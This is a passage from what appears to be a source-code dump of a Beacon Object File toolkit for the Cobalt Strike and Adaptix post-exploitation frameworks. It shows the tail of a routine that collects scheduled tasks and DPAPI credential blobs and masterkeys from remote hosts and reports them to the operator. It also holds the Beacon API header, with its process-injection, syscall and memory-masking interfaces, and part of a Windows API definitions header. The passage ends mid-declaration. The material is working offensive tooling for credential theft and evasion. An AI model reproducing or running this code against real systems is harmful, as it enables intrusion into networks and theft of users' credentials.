fpCreateFileA, fpReadFile, fpCloseHandle,\n                                           fpGetFileSize, fpVirtualAlloc, fpVirtualFree,\n                                           fpWriteFile, fpCreateDirectoryA, fpGetLastError);\n        \n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] DPAPI collection complete: %d credential blobs, %d masterkeys\\n\", \n                    blob_count, masterkey_count);\n    }\n    \n    // Clean up network connection\n    fpWNetCancelConnection2A(remote_path, 0, TRUE);\n    FreeLibrary(hMpr);\n    \n    BeaconPrintf(CALLBACK_OUTPUT, \"\\n[+] Collection complete. Found %d tasks\", task_count);\n    if (grab_blobs && save_dir) {\n        BeaconPrintf(CALLBACK_OUTPUT, \", %d credential blobs, %d masterkeys\\n\", blob_count, masterkey_count);\n    } else {\n        BeaconPrintf(CALLBACK_OUTPUT, \"\\n\");\n    }\n}"
  },
  {
    "path": "_include/adaptix.h",
    "content": "#pragma once\n\n#include \"beacon.h\"\n\nDECLSPEC_IMPORT void AxAddScreenshot(char* note, char* data, int len);\nDECLSPEC_IMPORT void AxDownloadMemory(char* filename, char* data, int len);\n"
  },
  {
    "path": "_include/beacon.h",
    "content": "/*\n * Beacon Object Files (BOF)\n * -------------------------\n * A Beacon Object File is a light-weight post exploitation tool that runs\n * with Beacon's inline-execute command.\n *\n * Additional BOF resources are available here:\n *   - https://github.com/Cobalt-Strike/bof_template\n *\n * Cobalt Strike 4.x\n * ChangeLog:\n *    1/25/2022: updated for 4.5\n *    7/18/2023: Added BeaconInformation API for 4.9\n *    7/31/2023: Added Key/Value store APIs for 4.9\n *                  BeaconAddValue, BeaconGetValue, and BeaconRemoveValue\n *    8/31/2023: Added Data store APIs for 4.9\n *                  BeaconDataStoreGetItem, BeaconDataStoreProtectItem,\n *                  BeaconDataStoreUnprotectItem, and BeaconDataStoreMaxEntries\n *    9/01/2023: Added BeaconGetCustomUserData API for 4.9\n *    3/21/2024: Updated BeaconInformation API for 4.10 to return a BOOL\n *               Updated the BEACON_INFO data structure to add new parameters\n *    4/19/2024: Added BeaconGetSyscallInformation API for 4.10\n *    4/25/2024: Added APIs to call Beacon's system call implementation\n *    12/18/2024: Updated BeaconGetSyscallInformation API for 4.11 (Breaking changes)\n *    2/13/2025: Updated SYSCALL_API structure with more ntAPIs for 4.11\n *    3/20/2025: Updated ALLOCATED_MEMORY_SECTION structure with driploader page size for 4.12\n *    4/7/2025: Updated ALLOCATED_MEMORY_REGION structure with driploader allocation granularity for 4.12\n *    7/16/2025: Updated ALLOCATED_MEMORY_PURPOSE structure with PURPOSE_UDC2_MEMORY for 4.12\n */\n#ifndef _BEACON_H_\n#define _BEACON_H_\n#include <windows.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif // __cplusplus\n\n/* data API */\ntypedef struct {\n\tchar * original; /* the original buffer [so we can free it] */\n\tchar * buffer;   /* current pointer into our buffer */\n\tint    length;   /* remaining length of data */\n\tint    size;     /* total size of this buffer */\n} datap;\n\nDECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);\nDECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);\nDECLSPEC_IMPORT int     BeaconDataInt(datap * parser);\nDECLSPEC_IMPORT short   BeaconDataShort(datap * parser);\nDECLSPEC_IMPORT int     BeaconDataLength(datap * parser);\nDECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);\n\n/* format API */\ntypedef struct {\n\tchar * original; /* the original buffer [so we can free it] */\n\tchar * buffer;   /* current pointer into our buffer */\n\tint    length;   /* remaining length of data */\n\tint    size;     /* total size of this buffer */\n} formatp;\n\nDECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);\nDECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);\nDECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, const char * text, int len);\nDECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, const char * fmt, ...);\nDECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);\nDECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);\nDECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);\n\n/* Output Functions */\n#define CALLBACK_OUTPUT      0x0\n#define CALLBACK_OUTPUT_OEM  0x1e\n#define CALLBACK_OUTPUT_UTF8 0x20\n#define CALLBACK_ERROR       0x0d\n#define CALLBACK_CUSTOM      0x1000\n#define CALLBACK_CUSTOM_LAST 0x13ff\n\n\nDECLSPEC_IMPORT void   BeaconOutput(int type, const char * data, int len);\nDECLSPEC_IMPORT void   BeaconPrintf(int type, const char * fmt, ...);\nDECLSPEC_IMPORT BOOL   BeaconDownload(const char * filename, const char* buffer, unsigned int length);\n\n\n/* Token Functions */\nDECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);\nDECLSPEC_IMPORT void   BeaconRevertToken();\nDECLSPEC_IMPORT BOOL   BeaconIsAdmin();\n\n/* Spawn+Inject Functions */\nDECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);\nDECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);\nDECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);\nDECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);\nDECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);\n\n/* Utility Functions */\nDECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);\n\n/* Beacon Information */\n/*\n *  ptr  - pointer to the base address of the allocated memory.\n *  size - the number of bytes allocated for the ptr.\n */\ntypedef struct {\n\tchar * ptr;\n\tsize_t size;\n} HEAP_RECORD;\n#define MASK_SIZE 13\n\n/* Information the user can set in the USER_DATA via a UDRL */\ntypedef enum {\n\tPURPOSE_EMPTY,\n\tPURPOSE_GENERIC_BUFFER,\n\tPURPOSE_BEACON_MEMORY,\n\tPURPOSE_SLEEPMASK_MEMORY,\n\tPURPOSE_BOF_MEMORY,\n\tPURPOSE_UDC2_MEMORY,\n\tPURPOSE_USER_DEFINED_MEMORY = 1000\n} ALLOCATED_MEMORY_PURPOSE;\n\ntypedef enum {\n\tLABEL_EMPTY,\n\tLABEL_BUFFER,\n\tLABEL_PEHEADER,\n\tLABEL_TEXT,\n\tLABEL_RDATA,\n\tLABEL_DATA,\n\tLABEL_PDATA,\n\tLABEL_RELOC,\n\tLABEL_USER_DEFINED = 1000\n} ALLOCATED_MEMORY_LABEL;\n\ntypedef enum {\n\tMETHOD_UNKNOWN,\n\tMETHOD_VIRTUALALLOC,\n\tMETHOD_HEAPALLOC,\n\tMETHOD_MODULESTOMP,\n\tMETHOD_NTMAPVIEW,\n\tMETHOD_USER_DEFINED = 1000,\n} ALLOCATED_MEMORY_ALLOCATION_METHOD;\n\n/**\n* This structure allows the user to provide additional information\n* about the allocated heap for cleanup. It is mandatory to provide\n* the HeapHandle but the DestroyHeap Boolean can be used to indicate\n* whether the clean up code should destroy the heap or simply free the pages.\n* This is useful in situations where a loader allocates memory in the\n* processes current heap.\n*/\ntypedef struct _HEAPALLOC_INFO {\n\tPVOID HeapHandle;\n\tBOOL  DestroyHeap;\n} HEAPALLOC_INFO, *PHEAPALLOC_INFO;\n\ntypedef struct _MODULESTOMP_INFO {\n\tHMODULE ModuleHandle;\n} MODULESTOMP_INFO, *PMODULESTOMP_INFO;\n\ntypedef union _ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION {\n\tHEAPALLOC_INFO HeapAllocInfo;\n\tMODULESTOMP_INFO ModuleStompInfo;\n\tPVOID Custom;\n} ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION;\n\ntypedef struct _ALLOCATED_MEMORY_CLEANUP_INFORMATION {\n\tBOOL Cleanup;\n\tALLOCATED_MEMORY_ALLOCATION_METHOD AllocationMethod;\n\tALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION AdditionalCleanupInformation;\n} ALLOCATED_MEMORY_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_CLEANUP_INFORMATION;\n\ntypedef struct _ALLOCATED_MEMORY_SECTION {\n\tALLOCATED_MEMORY_LABEL Label; // A label to simplify Sleepmask development\n\tPVOID  BaseAddress;           // Pointer to virtual address of section\n\tSIZE_T VirtualSize;           // Virtual size of the section\n\tDWORD  CurrentProtect;        // Current memory protection of the section\n\tDWORD  PreviousProtect;       // The previous memory protection of the section (prior to masking/unmasking)\n\tBOOL   MaskSection;           // A boolean to indicate whether the section should be masked\n\tDWORD  DripLoadPageSize;      // The page size used when committing memory during drip-loading\n} ALLOCATED_MEMORY_SECTION, *PALLOCATED_MEMORY_SECTION;\n\ntypedef struct _ALLOCATED_MEMORY_REGION {\n\tALLOCATED_MEMORY_PURPOSE Purpose;      // A label to indicate the purpose of the allocated memory\n\tPVOID  AllocationBase;                 // The base address of the allocated memory block\n\tSIZE_T RegionSize;                     // The size of the allocated memory block\n\tDWORD Type;                            // The type of memory allocated\n\tDWORD DripLoadAllocationGranularity;   // The allocation granularity used when reserving memory for drip-loading\n\tALLOCATED_MEMORY_SECTION Sections[8];  // An array of section information structures\n\tALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation; // Information required to cleanup the allocation\n} ALLOCATED_MEMORY_REGION, *PALLOCATED_MEMORY_REGION;\n\ntypedef struct {\n\tALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6];\n} ALLOCATED_MEMORY, *PALLOCATED_MEMORY;\n\n/*\n *  version               - The version of the beacon dll was added for release 4.10\n *                          version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch\n *                          e.g. 0x040900 -> CS 4.9\n *                               0x041000 -> CS 4.10\n *\n *  sleep_mask_ptr        - pointer to the sleep mask base address\n *  sleep_mask_text_size  - the sleep mask text section size\n *  sleep_mask_total_size - the sleep mask total memory size\n *\n *  beacon_ptr   - pointer to beacon's base address\n *                 The stage.obfuscate flag affects this value when using CS default loader.\n *                    true:  beacon_ptr = allocated_buffer - 0x1000 (Not a valid address)\n *                    false: beacon_ptr = allocated_buffer (A valid address)\n *                 For a UDRL the beacon_ptr will be set to the 1st argument to DllMain\n *                 when the 2nd argument is set to DLL_PROCESS_ATTACH.\n *  heap_records - list of memory addresses on the heap beacon wants to mask.\n *                 The list is terminated by the HEAP_RECORD.ptr set to NULL.\n *  mask         - the mask that beacon randomly generated to apply\n *\n *  Added in version 4.10\n *  allocatedMemory - An ALLOCATED_MEMORY structure that can be set in the USER_DATA\n *                     via a UDRL.\n */\ntypedef struct {\n\tunsigned int version;\n\tchar  * sleep_mask_ptr;\n\tDWORD   sleep_mask_text_size;\n\tDWORD   sleep_mask_total_size;\n\n\tchar  * beacon_ptr;\n\tHEAP_RECORD * heap_records;\n\tchar    mask[MASK_SIZE];\n\n\tALLOCATED_MEMORY allocatedMemory;\n} BEACON_INFO, *PBEACON_INFO;\n\nDECLSPEC_IMPORT BOOL   BeaconInformation(PBEACON_INFO info);\n\n/* Key/Value store functions\n *    These functions are used to associate a key to a memory address and save\n *    that information into beacon.  These memory addresses can then be\n *    retrieved in a subsequent execution of a BOF.\n *\n *    key - the key will be converted to a hash which is used to locate the\n *          memory address.\n *\n *    ptr - a memory address to save.\n *\n * Considerations:\n *    - The contents at the memory address is not masked by beacon.\n *    - The contents at the memory address is not released by beacon.\n *\n */\nDECLSPEC_IMPORT BOOL BeaconAddValue(const char * key, void * ptr);\nDECLSPEC_IMPORT void * BeaconGetValue(const char * key);\nDECLSPEC_IMPORT BOOL BeaconRemoveValue(const char * key);\n\n/* Beacon Data Store functions\n *    These functions are used to access items in Beacon's Data Store.\n *    BeaconDataStoreGetItem returns NULL if the index does not exist.\n *\n *    The contents are masked by default, and BOFs must unprotect the entry\n *    before accessing the data buffer. BOFs must also protect the entry\n *    after the data is not used anymore.\n *\n */\n\n#define DATA_STORE_TYPE_EMPTY 0\n#define DATA_STORE_TYPE_GENERAL_FILE 1\n\ntypedef struct {\n\tint type;\n\tDWORD64 hash;\n\tBOOL masked;\n\tchar* buffer;\n\tsize_t length;\n} DATA_STORE_OBJECT, *PDATA_STORE_OBJECT;\n\nDECLSPEC_IMPORT PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index);\nDECLSPEC_IMPORT void BeaconDataStoreProtectItem(size_t index);\nDECLSPEC_IMPORT void BeaconDataStoreUnprotectItem(size_t index);\nDECLSPEC_IMPORT size_t BeaconDataStoreMaxEntries();\n\n/* Beacon User Data functions */\nDECLSPEC_IMPORT char * BeaconGetCustomUserData();\n\n/* Beacon System call */\n/* Syscalls API */\ntypedef struct\n{\n\tPVOID fnAddr;\n\tPVOID jmpAddr;\n\tDWORD sysnum;\n} SYSCALL_API_ENTRY, *PSYSCALL_API_ENTRY;\n\ntypedef struct\n{\n\tSYSCALL_API_ENTRY ntAllocateVirtualMemory;\n\tSYSCALL_API_ENTRY ntProtectVirtualMemory;\n\tSYSCALL_API_ENTRY ntFreeVirtualMemory;\n\tSYSCALL_API_ENTRY ntGetContextThread;\n\tSYSCALL_API_ENTRY ntSetContextThread;\n\tSYSCALL_API_ENTRY ntResumeThread;\n\tSYSCALL_API_ENTRY ntCreateThreadEx;\n\tSYSCALL_API_ENTRY ntOpenProcess;\n\tSYSCALL_API_ENTRY ntOpenThread;\n\tSYSCALL_API_ENTRY ntClose;\n\tSYSCALL_API_ENTRY ntCreateSection;\n\tSYSCALL_API_ENTRY ntMapViewOfSection;\n\tSYSCALL_API_ENTRY ntUnmapViewOfSection;\n\tSYSCALL_API_ENTRY ntQueryVirtualMemory;\n\tSYSCALL_API_ENTRY ntDuplicateObject;\n\tSYSCALL_API_ENTRY ntReadVirtualMemory;\n\tSYSCALL_API_ENTRY ntWriteVirtualMemory;\n\tSYSCALL_API_ENTRY ntReadFile;\n\tSYSCALL_API_ENTRY ntWriteFile;\n\tSYSCALL_API_ENTRY ntCreateFile;\n\tSYSCALL_API_ENTRY ntQueueApcThread;\n\tSYSCALL_API_ENTRY ntCreateProcess;\n\tSYSCALL_API_ENTRY ntOpenProcessToken;\n\tSYSCALL_API_ENTRY ntTestAlert;\n\tSYSCALL_API_ENTRY ntSuspendProcess;\n\tSYSCALL_API_ENTRY ntResumeProcess;\n\tSYSCALL_API_ENTRY ntQuerySystemInformation;\n\tSYSCALL_API_ENTRY ntQueryDirectoryFile;\n\tSYSCALL_API_ENTRY ntSetInformationProcess;\n\tSYSCALL_API_ENTRY ntSetInformationThread;\n\tSYSCALL_API_ENTRY ntQueryInformationProcess;\n\tSYSCALL_API_ENTRY ntQueryInformationThread;\n\tSYSCALL_API_ENTRY ntOpenSection;\n\tSYSCALL_API_ENTRY ntAdjustPrivilegesToken;\n\tSYSCALL_API_ENTRY ntDeviceIoControlFile;\n\tSYSCALL_API_ENTRY ntWaitForMultipleObjects;\n} SYSCALL_API, *PSYSCALL_API;\n\n/* Additional Run Time Library (RTL) addresses used to support system calls.\n * If they are not set then system calls that require them will fall back\n * to the Standard Windows API.\n *\n * Required to support the following system calls:\n *    ntCreateFile\n */\ntypedef struct\n{\n\tPVOID rtlDosPathNameToNtPathNameUWithStatusAddr;\n\tPVOID rtlFreeHeapAddr;\n\tPVOID rtlGetProcessHeapAddr;\n} RTL_API, *PRTL_API;\n\n/* Updated in version 4.11 to use the entire structure instead of pointers to the structure.\n * This allows for retrieving a copy of the information which would be under the BOF's\n * control instead of a reference pointer which may be obfuscated when beacon is sleeping.\n */\ntypedef struct\n{\n\tSYSCALL_API syscalls;\n\tRTL_API     rtls;\n} BEACON_SYSCALLS, *PBEACON_SYSCALLS;\n\n/* Updated in version 4.11 to include the size of the info pointer, which equals sizeof(BEACON_SYSCALLS) */\nDECLSPEC_IMPORT BOOL BeaconGetSyscallInformation(PBEACON_SYSCALLS info, SIZE_T infoSize, BOOL resolveIfNotInitialized);\n\n/* Beacon System call functions which will use the current system call method */\nDECLSPEC_IMPORT LPVOID BeaconVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);\nDECLSPEC_IMPORT LPVOID BeaconVirtualAllocEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);\nDECLSPEC_IMPORT BOOL BeaconVirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);\nDECLSPEC_IMPORT BOOL BeaconVirtualProtectEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);\nDECLSPEC_IMPORT BOOL BeaconVirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);\nDECLSPEC_IMPORT BOOL BeaconGetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);\nDECLSPEC_IMPORT BOOL BeaconSetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);\nDECLSPEC_IMPORT DWORD BeaconResumeThread(HANDLE threadHandle);\nDECLSPEC_IMPORT HANDLE BeaconOpenProcess(DWORD desiredAccess, BOOL inheritHandle, DWORD processId);\nDECLSPEC_IMPORT HANDLE BeaconOpenThread(DWORD desiredAccess, BOOL inheritHandle, DWORD threadId);\nDECLSPEC_IMPORT BOOL BeaconCloseHandle(HANDLE object);\nDECLSPEC_IMPORT BOOL BeaconUnmapViewOfFile(LPCVOID baseAddress);\nDECLSPEC_IMPORT SIZE_T BeaconVirtualQuery(LPCVOID address, PMEMORY_BASIC_INFORMATION buffer, SIZE_T length);\nDECLSPEC_IMPORT BOOL BeaconDuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions);\nDECLSPEC_IMPORT BOOL BeaconReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead);\nDECLSPEC_IMPORT BOOL BeaconWriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten);\n\n/* Beacon Gate APIs */\nDECLSPEC_IMPORT VOID BeaconDisableBeaconGate();\nDECLSPEC_IMPORT VOID BeaconEnableBeaconGate();\n\nDECLSPEC_IMPORT VOID BeaconDisableBeaconGateMasking();\nDECLSPEC_IMPORT VOID BeaconEnableBeaconGateMasking();\n\n/* Beacon User Data\n *\n * version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch\n * e.g. 0x040900 -> CS 4.9\n *      0x041000 -> CS 4.10\n*/\n\n#define DLL_BEACON_USER_DATA 0x0d\n#define BEACON_USER_DATA_CUSTOM_SIZE 32\ntypedef struct\n{\n\tunsigned int version;\n\tPSYSCALL_API syscalls;\n\tchar         custom[BEACON_USER_DATA_CUSTOM_SIZE];\n\tPRTL_API     rtls;\n\tPALLOCATED_MEMORY allocatedMemory;\n} USER_DATA, * PUSER_DATA;\n\n#ifdef __cplusplus\n}\n#endif // __cplusplus\n#endif // _BEACON_H_\n"
  },
  {
    "path": "_include/bofdefs.h",
    "content": "#pragma once\n#pragma intrinsic(memcmp, memcpy,strcpy,strcmp,_stricmp,strlen)\n#include <windows.h>\n#include <process.h>\n#include <winternl.h>\n#include <imagehlp.h>\n#include <iphlpapi.h>\n#include <stdio.h>\n#include <tlhelp32.h>\n#include <windns.h>\n#include <dbghelp.h>\n#include <winldap.h>\n#include <winnetwk.h>\n#include <wtsapi32.h>\n#include <shlwapi.h>\n#include <ntsecapi.h>\n#include <aclapi.h>\n#include <bcrypt.h>\n#include <wincred.h>\n#include <io.h>\n#include <fcntl.h>\n#include <inttypes.h>\n#define SECURITY_WIN32\n#include <sspi.h>\n#include <secext.h>\n#include <dsgetdc.h>\n\n#ifndef WINBERAPI\n#define WINBERAPI DECLSPEC_IMPORT\n#endif\n#ifndef BERAPI\n#define BERAPI __cdecl\n#endif\n\n#define RTL_UPCASE(wch) (((wch) < 'a' ? (wch) : ((wch) <= 'z' ? (wch) - ('a'-'A') : ((WCHAR)(wch)))))\n#define RTL_DOWNCASE(wch) (((wch) < 'A' ? (wch) : ((wch) <= 'Z' ? (wch) + ('a'-'A') : ((WCHAR)(wch)))))\n\n#define OBJ_CASE_INSENSITIVE 0x00000040L\n#define OBJ_INHERIT 0x00000002L\n\n#define STATUS_SUCCESS 0\n#define STATUS_UNSUCCESSFUL 0xC0000001\n#define STATUS_BUFFER_TOO_SMALL 0xC0000023\n#define STATUS_BUFFER_OVERFLOW 0x80000005L\n#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004\n\n#define FILE_SHARE_READ 0x00000001\n#define FILE_SHARE_VALID_FLAGS 0x00000007\n#define FILE_OPEN 0x00000001\n#define FILE_CREATE 0x00000002\n#define FILE_OPEN_IF 0x00000003\n#define FILE_OVERWRITE 0x00000004\n#define FILE_OVERWRITE_IF 0x00000005\n#define FILE_WRITE_THROUGH 0x00000002\n#define FILE_SYNCHRONOUS_IO_ALERT 0x00000010\n#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020\n#define FILE_DIRECTORY_FILE   0x00000001\n#define FILE_NON_DIRECTORY_FILE 0x00000040\n\n#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 )\n#define NtCurrentThread() ( (HANDLE)(LONG_PTR) -2 )\n#define NtCurrentSession() ( (HANDLE)(LONG_PTR) -3 )\n\ntypedef struct _SYSTEM_PROCESSES {\n\tULONG NextEntryDelta;\n\tULONG ThreadCount;\n\tULONG Reserved1[6];\n\tLARGE_INTEGER CreateTime;\n\tLARGE_INTEGER UserTime;\n\tLARGE_INTEGER KernelTime;\n\tUNICODE_STRING ProcessName;\n\tKPRIORITY BasePriority;\n\tHANDLE ProcessId;\n\tHANDLE InheritedFromProcessId;\n} SYSTEM_PROCESSES, *PSYSTEM_PROCESSES;\n\ntypedef struct _SYSTEM_PROCESS_ID_INFORMATION {\n\tHANDLE ProcessId;\n\tUNICODE_STRING ImageName;\n} SYSTEM_PROCESS_ID_INFORMATION, *PSYSTEM_PROCESS_ID_INFORMATION;\n\ntypedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {\n\tHANDLE Section;\n\tPVOID MappedBase;\n\tPVOID ImageBase;\n\tULONG ImageSize;\n\tULONG Flags;\n\tUSHORT LoadOrderIndex;\n\tUSHORT InitOrderIndex;\n\tUSHORT LoadCount;\n\tUSHORT OffsetToFileName;\n\tUCHAR FullPathName[256];\n} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;\n\ntypedef struct _SYSTEM_MODULE_INFORMATION {\n\tULONG NumberOfModules;\n\tSYSTEM_MODULE_INFORMATION_ENTRY Module[1];\n} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;\n\ntypedef struct _PROCESS_BASIC_INFORMATION_WOW64 {\n\tNTSTATUS ExitStatus;\n\tULONG64 PebBaseAddress;\n\tULONG64 AffinityMask;\n\tKPRIORITY BasePriority;\n\tULONG64 UniqueProcessId;\n\tULONG64 InheritedFromUniqueProcessId;\n} PROCESS_BASIC_INFORMATION_WOW64, *PPROCESS_BASIC_INFORMATION_WOW64;\n\ntypedef struct _UNICODE_STRING_WOW64 {\n\tUSHORT Length;\n\tUSHORT MaximumLength;\n\tULONG64 Buffer;\n} UNICODE_STRING_WOW64;\n\ntypedef struct _API_SET_NAMESPACE {\n\tULONG Version;\n\tULONG Size;\n\tULONG Flags;\n\tULONG Count;\n\tULONG EntryOffset;\n\tULONG HashOffset;\n\tULONG HashFactor;\n} API_SET_NAMESPACE, *PAPI_SET_NAMESPACE;\n\ntypedef struct _CURDIR64 {\n\tUNICODE_STRING_WOW64 DosPath;\n\tHANDLE Handle;\n} CURDIR64, *PCURDIR64;\n\ntypedef struct _RTL_USER_PROCESS_PARAMETERS64 {\n\tULONG MaximumLength;\n\tULONG Length;\n\tULONG Flags;\n\tULONG DebugFlags;\n\tULONG64 ConsoleHandle;\n\tULONG ConsoleFlags;\n\tULONG64 StandardInput;\n\tULONG64 StandardOutput;\n\tULONG64 StandardError;\n\tCURDIR64 CurrentDirectory;\n\tUNICODE_STRING_WOW64 DllPath;\n\tUNICODE_STRING_WOW64 ImagePathName;\n\tUNICODE_STRING_WOW64 CommandLine;\n} RTL_USER_PROCESS_PARAMETERS64, *PRTL_USER_PROCESS_PARAMETERS64;\n\ntypedef struct _PEB64 {\n\tBYTE Reserved[16];\n\tULONG64 ImageBaseAddress;\n\tULONG64 LdrData;\n\tULONG64 ProcessParameters;\n} PEB64, *PPEB64;\n\ntypedef struct _SECPROD {\n\tDWORD dwPID;\n\tWCHAR wcCompany[MAX_PATH];\n\tWCHAR wcDescription[MAX_PATH];\n} SECPROD, *PSECPROD;\n\ntypedef struct _SECCOMP {\n\tWCHAR wcCompany[64];\n} SECCOMP, *PSECCOMP;\n\n//==============================================================================\n// EXTERN_C NTSTATUS DECLARATIONS\n//==============================================================================\nEXTERN_C NTSTATUS ZwQuerySystemInformation(\n\tSYSTEM_INFORMATION_CLASS SystemInformationClass,\n\tPVOID SystemInformation,\n\tULONG SystemInformationLength,\n\tPULONG ReturnLength\n);\n\nEXTERN_C NTSTATUS ZwQueryInformationProcess(\n\tHANDLE ProcessHandle,\n\tDWORD ProcessInformationClass,\n\tPVOID ProcessInformation,\n\tDWORD ProcessInformationLength,\n\tPDWORD ReturnLength\n);\n\nEXTERN_C NTSTATUS ZwOpenProcess(\n\tPHANDLE ProcessHandle,\n\tACCESS_MASK DesiredAccess,\n\tPOBJECT_ATTRIBUTES ObjectAttributes,\n\tPCLIENT_ID ClientId\n);\n\nEXTERN_C NTSTATUS ZwQueryInformationToken(\n\tHANDLE TokenHandle,\n\tTOKEN_INFORMATION_CLASS TokenInformationClass,\n\tPVOID TokenInformation,\n\tULONG TokenInformationLength,\n\tPULONG ReturnLength\n);\n\nEXTERN_C NTSTATUS ZwAdjustPrivilegesToken(\n\tIN HANDLE TokenHandle,\n\tIN BOOLEAN DisableAllPrivileges,\n\tIN PTOKEN_PRIVILEGES TokenPrivileges,\n\tIN ULONG PreviousPrivilegesLength,\n\tOUT PTOKEN_PRIVILEGES PreviousPrivileges OPTIONAL,\n\tOUT PULONG RequiredLength OPTIONAL\n);\n\nEXTERN_C NTSTATUS ZwAllocateVirtualMemory(\n\tHANDLE ProcessHandle,\n\tPVOID *BaseAddress,\n\tULONG_PTR ZeroBits,\n\tPSIZE_T RegionSize,\n\tULONG AllocationType,\n\tULONG Protect\n);\n\nEXTERN_C NTSTATUS ZwFreeVirtualMemory(\n\tHANDLE ProcessHandle,\n\tPVOID *BaseAddress,\n\tIN OUT PSIZE_T RegionSize,\n\tULONG FreeType\n);\n\nEXTERN_C NTSTATUS ZwReadVirtualMemory(\n\tHANDLE hProcess,\n\tPVOID lpBaseAddress,\n\tPVOID lpBuffer,\n\tSIZE_T NumberOfBytesToRead,\n\tPSIZE_T NumberOfBytesRead\n);\n\nEXTERN_C NTSTATUS ZwWriteVirtualMemory(\n\tHANDLE hProcess,\n\tPVOID lpBaseAddress,\n\tPVOID lpBuffer,\n\tSIZE_T NumberOfBytesToWrite,\n\tPSIZE_T NumberOfBytesWrite\n);\n\nEXTERN_C NTSTATUS ZwCreateFile(\n\tPHANDLE FileHandle,\n\tACCESS_MASK DesiredAccess,\n\tPOBJECT_ATTRIBUTES ObjectAttributes,\n\tPIO_STATUS_BLOCK IoStatusBlock,\n\tPLARGE_INTEGER AllocationSize,\n\tULONG FileAttributes,\n\tULONG ShareAccess,\n\tULONG CreateDisposition,\n\tULONG CreateOptions,\n\tPVOID EaBuffer,\n\tULONG EaLength\n);\n\nEXTERN_C NTSTATUS ZwClose(IN HANDLE KeyHandle);\n\n// KERNEL32\nWINBASEAPI void * WINAPI KERNEL32$VirtualAlloc (LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);\nWINBASEAPI int WINAPI KERNEL32$VirtualFree (LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);\nDECLSPEC_IMPORT HLOCAL WINAPI KERNEL32$LocalAlloc (UINT, SIZE_T);\nDECLSPEC_IMPORT HLOCAL WINAPI KERNEL32$LocalFree (HLOCAL);\nWINBASEAPI void * WINAPI KERNEL32$HeapAlloc (HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);\nWINBASEAPI LPVOID WINAPI KERNEL32$HeapReAlloc (HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T dwBytes);\nWINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();\nWINBASEAPI BOOL WINAPI KERNEL32$HeapFree (HANDLE, DWORD, PVOID);\nWINBASEAPI DWORD WINAPI KERNEL32$FormatMessageA (DWORD dwFlags, LPCVOID lpSource, DWORD dwMessageId, DWORD dwLanguageId, LPSTR lpBuffer, DWORD nSize, va_list *Arguments);\nWINBASEAPI int WINAPI KERNEL32$WideCharToMultiByte (UINT CodePage, DWORD dwFlags, LPCWCH lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCCH lpDefaultChar, LPBOOL lpUsedDefaultChar);\nWINBASEAPI int WINAPI KERNEL32$FileTimeToLocalFileTime (CONST FILETIME *lpFileTime, LPFILETIME lpLocalFileTime);\nWINBASEAPI int WINAPI KERNEL32$FileTimeToSystemTime (CONST 